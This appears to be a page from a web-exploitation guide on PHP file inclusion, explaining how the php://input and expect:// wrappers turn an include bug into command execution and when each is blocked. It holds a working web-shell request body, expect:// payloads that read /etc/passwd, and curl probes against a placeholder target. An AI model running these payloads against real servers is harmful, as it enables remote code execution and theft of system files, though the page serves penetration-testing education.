expect:// and php://input
Two wrappers that turn an include straight into execution with no file involved at all. One needs an extension nobody installs; the other needs the flag that has been off since 2006.
The two shortcuts
Most escalation on this site is indirect: get bytes onto disk somehow, then include them. These two wrappers skip that entirely.
php://input makes the request body itself the included file. expect:// runs a shell command outright.
Both appear on every LFI cheatsheet and both are usually unavailable, for different reasons. Knowing which reason applies is worth a request each, because the errors are distinguishable and they tell you something about the target.
php://input
# The parameter names the wrapper; the body is the code. Nothing is written
# to disk and nothing has to already exist.
POST /index.php?page=php://input&cmd=id HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
<?php system($_GET['cmd']); ?>
# Notes that matter:
#
# - It must be a POST (or any method with a body). A GET has no body to read.
# - The Content-Type does not matter, but avoid multipart/form-data: PHP
# consumes the body to populate $_FILES and php://input is then empty.
# - $_GET is still available inside the included code, which is how the cmd
# parameter reaches system().
# - The <?php tag is required. Without it the body is echoed as literal text,
# which looks like failure and is actually a successful include of a file
# containing no code.Why php://input usually fails
php://input requires allow_url_include=On to be included, despite being entirely local. It reads the request body. It touches no network. The flag still applies.
This catches people out because the wrapper is obviously local and the flag is obviously about URLs. The flag's name describes a category it does not accurately cover — the same thing that happens with data://.
So on a stock PHP 8:
| Call | Result |
|---|---|
include('php://input') | Blocked — allow_url_include=Off |
file_get_contents('php://input') | Works — and is completely normal, it is how every JSON API reads its body |
The second row is why you will see php://input all over legitimate application code. It is not a smell. Only the include form is gated.
If php://input works, so does data://, and so does classic remote inclusion — they share the flag. Confirming one tells you all three are available.
expect://
# No PHP, no file, no include semantics — the wrapper opens a PTY and runs
# the command.
expect://id
expect://whoami
expect://cat /etc/passwd
# URL-encode anything with spaces or shell metacharacters.
expect://cat%20/etc/passwd
# It works through reading sinks too, because the wrapper produces the
# command's output as the stream contents:
# file_get_contents('expect://id')
#
# And it is unaffected by allow_url_include — it is not a URL scheme in the
# sense that flag covers. What it needs instead is the extension.Why expect:// almost never works
expect is a PECL extension. It is not bundled with PHP, has never been enabled by default, and is not installed by any mainstream distribution package or Docker image.
Someone would have to have run pecl install expect and enabled it in php.ini, on a host also running a web application with a file inclusion bug. That combination is rare enough that the cheatsheet rates it conditional in every configuration column — the gate is a missing extension rather than a setting, so no config value can honestly say it works.
It stays on cheatsheets because it is the most direct payload in the whole class when it does exist, and because it costs one request to check.
The extension is also effectively unmaintained, which is worth knowing if you find it: a host with expect loaded is a host where someone installed something unusual a long time ago and stopped looking at it.
Probing for both
# expect:// — one request. Distinguish the two failure modes.
curl -s 'https://target.example/index.php?page=expect://id'
# uid=33(www-data)… -> the extension is loaded. Rare and useful.
# "no suitable wrapper could be found" -> not installed. Expected.
# "URL file-access is disabled" -> you are looking at a different wrapper
# php://input — needs a POST.
curl -s -X POST 'https://target.example/index.php?page=php://input' \
--data '<?php echo "rfi-page-marker"; ?>'
# rfi-page-marker -> allow_url_include=On. Also try data:// and http://
# "URL file-access is disabled" -> Off. The default. Move to filter chains
# the literal payload echoed back -> reading sink, not an include
# Both failing tells you the target is on a normal configuration, which is
# the expected outcome and points you at /guide/php-filter-chainsWhat to use instead
When both of these fail — which is the usual outcome — the escalation paths that remain do not depend on any php.ini flag:
- PHP filter chains. Works on a stock configuration, one request, no upload, no writable directory. This is the first thing to try, not the last.
- Uploads with zip:// or phar://. Local wrappers, no flag applies. Needs somewhere to put a file.
- Log poisoning or session poisoning. Needs a writable-and-readable file.
- The temp-file race. Needs concurrency, and is loud.
And if none of those apply, the read primitive on its own is very often enough — see Inclusion vs Traversal on why arbitrary read in a containerised deployment is frequently the whole finding.
Related
Stack enough iconv conversions and php://filter stops reading files and starts producing them. A read-only primitive becomes code execution on a completely stock php.ini — no upload, no writable directory, no outbound connection.
Carry the payload inside the URL itself. No outbound connection, no host to serve from — and gated by exactly the same flag as http://, despite never touching the network.
The textbook payload: point the include at a file on your own host. It requires a configuration PHP stopped shipping in 2006, and it is still the first thing everyone tries.
PHP's stream layer makes every filesystem function accept a URL. That one design decision is why file inclusion in PHP is a different bug from file inclusion anywhere else.
A read primitive plus a file whose contents you control is code execution. Write PHP into a log through a request header, then include the log.